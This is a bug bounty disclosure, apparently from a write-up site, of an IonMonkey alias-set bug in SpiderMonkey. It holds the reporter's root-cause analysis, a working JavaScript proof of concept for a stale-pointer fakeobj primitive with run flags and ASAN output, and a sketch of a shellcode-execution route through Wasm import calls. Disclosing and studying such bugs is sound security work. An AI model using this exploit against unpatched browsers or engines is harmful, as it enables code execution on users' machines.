IonMonkey: incorrect alias set of `MObjectToIterator` can lead to exploitable stale pointer loading and fakeobj primitive
The IonMonkey optimiser gave the MObjectToIterator instruction a load-only alias set, but the instruction can trigger resolve hooks that define properties and grow an object's slots. An attacker could then have a later slot load reuse a stale pointer and read attacker-controlled memory, leading to a fakeobj primitive and potentially shellcode execution.
Originally disclosed on Mozilla
- Fixed in 7 days
- Paid in 5 months
- Disclosed after 7 days
Created attachment 9587969 full_exploit_shellcode.js
IonMonkey: incorrect alias set of MObjectToIterator can lead to exploitable stale pointer loading and fakeobj primitive
Description
ObjectKeysReplacer scalar-replaces an unescaped Object.keys(obj) result with an MObjectToIterator instruction and sets skipRegistration_:
bool ObjectKeysReplacer::run(MInstructionIterator& outerIterator) {
MBasicBlock* startBlock = arr_->block();
objToIter_ = MObjectToIterator::New(alloc_, objectKeys()->object(), nullptr);
objToIter_->setSkipRegistration(true);
arr_->block()->insertBefore(arr_, objToIter_);
// .........
if (!graph_.alloc().ensureBallast()) {
return false;
}
return true;
}
For this mode, MObjectToIterator::getAliasSet() describes the instruction as a load of object fields and elements:
AliasSet getAliasSet() const override {
return skipRegistration_
? AliasSet::Load(AliasSet::ObjectFields | AliasSet::Element)
: AliasSet::Store(AliasSet::Any);
}
That alias set is too weak. The instruction lowers to GetIteratorForObjectKeys / GetIteratorWithIndicesForObjectKeys, which calls GetIteratorImpl and then PropertyEnumerator::snapshot. For native objects with an enumerate hook, snapshot calls the hook before enumerating native properties.
for JSFunction, it will call fun_enumerate then calls HasOwnProperty("prototype" / "length" / "name") HasOwnProperty is not necessarily a side-effect-free lookup for a native object with a resolve hook. For JSFunction, that resolve hook is fun_resolve which will call NativeDefineDataProperty
static bool fun_resolve(JSContext* cx, HandleObject obj, HandleId id,
bool* resolvedp) {
if (!id.isAtom()) {
return true;
}
// .........
bool isLength = id.isAtom(cx->names().length);
if (isLength || id.isAtom(cx->names().name)) {
MOZ_ASSERT(!IsInternalFunctionObject(*obj));
RootedValue v(cx);
if (isLength) {
// .........
}
if (!NativeDefineDataProperty(cx, fun, id, v,
JSPROP_READONLY | JSPROP_RESOLVING)) {
return false;
}
// .........
}
return true;
}
this can glow the slots, a later slot load reusing can load pointer controlled by attacker.
Exploit
We would like to briefly describe how can we craft a fakeobj primitive. This vulnerability actually allow us to dereference a pointer. So first we can spray the pointer first, then we can construct an object with 30 pre-existing dynamic properties. Then a slots reallocation will be triggered when resolving the other lazy properties. Then the later loading, which will reuse the previous loading MSlots, will be the slot with sprayed pointer.
const BASE_PROPS = 26;
const SHAPES = 4;
const ITERS = 350;
const FINAL_K = 2;
const target = 0x414243444546;
function targetByte(i) {
return Number((target >> (8n * BigInt(i))) & 0xffn);
}
const PREFIX = String.fromCharCode(
targetByte(0),
targetByte(1),
targetByte(2),
targetByte(3)
);
const TARGET_SUFFIX = String.fromCharCode(
targetByte(4),
targetByte(5),
0xfe,
0xff
);
function suffix(i) {
if (i === 15) {
return TARGET_SUFFIX;
}
return "" + i;
}
function make(k) {
function g(a, b, c) {}
for (let i = 0; i < BASE_PROPS + k; i++) {
g[PREFIX + suffix(i)] = i;
}
g.p = 13;
g.r = 37;
return g;
}
function makeObjectName(k) {
const g = make(k);
Object.defineProperty(g, "name", {
value: {marker: 7},
writable: true,
configurable: true,
});
return g;
}
function f(o) {
const x = o.p;
Object.keys(o);
const y = o.name;
return x + y.marker;
}
for (let i = 0; i < ITERS; i++) {
if ((i & 7) === 0) {
f(makeObjectName(i % SHAPES));
} else {
f(make(i % SHAPES));
}
}
print(f(make(FINAL_K)));
we tested on commit 9c267d0a950b189974105667e9eb14d2f6172564 (Tue May 19th)
please run with
js --baseline-warmup-threshold=10 --ion-warmup-threshold=100 fakeobj.js
it will segfault at 0x414243444546, with ASAN build without debug option, the stack frame will be:
AddressSanitizer:DEADLYSIGNAL
=================================================================
==3354031==ERROR: AddressSanitizer: SEGV on unknown address 0x414243444546 (pc 0x55994ae039be bp 0x7ffea4ba2df0 sp 0x7ffea4ba2dd0 T0)
==3354031==The signal is caused by a READ memory access.
/audit/ff/firefox/obj-js-asan-no-debug-noopt-x86_64-pc-linux-gnu/dist/bin/llvm-symbolizer: error: '[anon:js-executable-memory]': No such file or directory
#0 0x55994ae039be in js::gc::HeaderWord::get() const /audit/ff/firefox/js/src/gc/Cell.h:113:23
#1 0x55994ae0f533 in js::gc::CellWithTenuredGCPointer<js::gc::Cell, js::Shape>::headerPtr() const /audit/ff/firefox/js/src/gc/Cell.h:846:60
#2 0x55994ae0f4d4 in JSObject::shape() const /audit/ff/firefox/js/src/vm/JSObject.h:92:37
#3 0x55994ae0f474 in JSObject::getClass() const /audit/ff/firefox/js/src/vm/JSObject.h:113:44
#4 0x55994ae0f294 in bool JSObject::is<js::TypedArrayObject>() const /audit/ff/firefox/js/src/vm/TypedArrayObject.h:460:32
#5 0x55994c68a193 in js::jit::GetPropIRGenerator::tryAttachTypedArrayElement(JS::Handle<JSObject*>, js::jit::ObjOperandId) /audit/ff/firefox/obj-js-asan-no-debug-noopt-x86_64-pc-linux-gnu/js/src/jit/./../../../../js/src/jit/CacheIR.cpp:3158:13
#6 0x55994c688949 in js::jit::GetPropIRGenerator::tryAttachStub() /audit/ff/firefox/obj-js-asan-no-debug-noopt-x86_64-pc-linux-gnu/js/src/jit/./../../../../js/src/jit/CacheIR.cpp:468:5
#7 0x55994ca186af in void TryAttachIonStub<js::jit::GetPropIRGenerator, js::jit::CacheKind, JS::Handle<JS::Value>&, JS::Handle<JS::Value>&, JS::Handle<JS::Value>&>(JSContext*, js::jit::IonIC*, js::jit::IonScript*, js::jit::CacheKind&&, JS::Handle<JS::Value>&, JS::Handle<JS::Value>&, JS::Handle<JS::Value>&) /audit/ff/firefox/obj-js-asan-no-debug-noopt-x86_64-pc-linux-gnu/js/src/jit/./../../../../js/src/jit/IonIC.cpp:145:17
#8 0x55994ca15ce0 in js::jit::IonGetPropertyIC::update(JSContext*, JS::Handle<JSScript*>, js::jit::IonGetPropertyIC*, JS::Handle<JS::Value>, JS::Handle<JS::Value>, JS::MutableHandle<JS::Value>) /audit/ff/firefox/obj-js-asan-no-debug-noopt-x86_64-pc-linux-gnu/js/src/jit/./../../../../js/src/jit/IonIC.cpp:174:3
#9 0x19c7acc0d226 ([anon:js-executable-memory]+0x4226)
==3354031==Register values:
rax = 0x0000414243444546 rbx = 0x00007ffea4ba2e80 rcx = 0x00000f62ecf30000 rdx = 0x00007b17679cba00
rdi = 0x0000414243444546 rsi = 0x00007b1767c058c0 rbp = 0x00007ffea4ba2df0 rsp = 0x00007ffea4ba2dd0
r8 = 0x00000f62ecf39740 r9 = 0xf2f2f8f8f2f2f2f8 r10 = 0x0000000000000f01 r11 = 0x000010005496c648
r12 = 0x000010c92c525242 r13 = 0x0000000000000005 r14 = 0x00007ffea4ba3e30 r15 = 0x0000000000000000
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /audit/ff/firefox/js/src/gc/Cell.h:113:23 in js::gc::HeaderWord::get() const
==3354031==ABORTING
Shellcode
To achieve full shellcode execution, we use the stale load as our initial info leak. Then build a fake Uint8Array. Then we abuse Wasm-to-Wasm import calls as a native call primitive. A Wasm exported function object has an extended slot (JSFunction + 0x38 = WASM_FUNC_UNCHECKED_ENTRY_SLOT) This slot normally points to the Wasm unchecked entry. When another Wasm module imports that function, SpiderMonkey copies this slot into FuncImportInstanceData::code. The generated Wasm import call then calls that pointer directly. The full exploit script depends on the js shell as the offset of GOT entry is hardcoded.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the alias set for MObjectToIterator in skip-registration mode only declares loads of object fields and elements, ignoring that resolve hooks invoked during enumeration can define properties and reallocate slots.
Impact
An attacker could turn the stale pointer load into a fakeobj primitive and, using a Wasm import call primitive, achieve full shellcode execution in the js shell.
What the attacker needed
Ability to run attacker JavaScript; js shell or browser engine; specific warm-up thresholds
How it was found
- Spray the heap with the target pointer value.
- Build a function object with many pre-existing dynamic properties.
- Trigger a slots reallocation by resolving the remaining lazy properties.
- Run the optimised function so the later slot load reuses the stale MSlots load.
- Observe the crash at the sprayed address, confirming the stale pointer load.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
A JavaScript engine tries to make code faster by remembering where values are stored. Here it assumed that listing an object's keys only reads data, but listing keys can actually change the object and move its storage. The engine then read from the old, freed location, which an attacker can fill with a chosen value.
What is Memory corruption?
Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.